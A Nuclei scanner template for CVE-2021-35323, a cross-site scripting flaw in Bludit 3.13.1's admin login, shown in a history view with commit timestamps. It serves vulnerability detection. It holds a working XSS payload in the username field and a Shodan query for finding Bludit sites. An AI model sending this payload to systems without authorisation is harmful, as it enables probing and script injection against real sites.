2023-10-17 07:20:28 +00:00
|
|
|
id: CVE-2021-35323
|
2023-10-17 17:52:26 +00:00
|
|
|
|
2023-10-17 07:20:28 +00:00
|
|
|
info:
|
|
|
|
name: Bludit 3.13.1 - Cross Site Scripting
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Cross Site Scripting (XSS) vulnerability exists in bludit 3-13-1 via the username in admin/login
|
|
|
|
remediation: Bludit v4.0.0
|
|
|
|
reference:
|
|
|
|
- https://github.com/bludit/bludit/issues/1327
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-35323
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 6.1
|
|
|
|
cve-id: CVE-2021-35323
|
|
|
|
cwe-id: CWE-79
|
2023-10-18 16:26:30 +00:00
|
|
|
epss-score: 0.00183
|
2023-10-29 11:57:59 +00:00
|
|
|
epss-percentile: 0.55382
|
2023-10-17 17:52:26 +00:00
|
|
|
cpe: cpe:2.3:a:bludit:bludit:3.13.1:*:*:*:*:*:*:*
|
2023-10-17 07:20:28 +00:00
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-10-17 17:52:26 +00:00
|
|
|
max-request: 2
|
|
|
|
vendor: bludit
|
|
|
|
product: bludit
|
2023-10-17 07:20:28 +00:00
|
|
|
shodan-query: title:"Bludit"
|
|
|
|
tags: cve,cve2021,bludit,xss
|
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /bludit/admin/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
@timeout: 10s
|
|
|
|
POST /bludit/admin/login HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
tokenCSRF={{tokenCSRF}}&username=admin%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&password=pass&save=
|
|
|
|
|
|
|
|
cookie-reuse: true
|
|
|
|
host-redirects: true
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code_2 == 200'
|
|
|
|
- 'contains(content_type_2, "text/html")'
|
|
|
|
- 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "Bludit")'
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
name: tokenCSRF
|
|
|
|
part: body
|
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- 'type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*)"'
|
|
|
|
internal: true
|
2023-10-29 15:59:44 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100db9c09d6fb6f84860da36721a21c4584455f193a6503607d006f5244cc6ab82b022100fe620f999d0278e9cf2a1a2320c5d4519c4b7ab63383af550ff390f562b9f74d:922c64590222798bb761d5b6d8e72950
|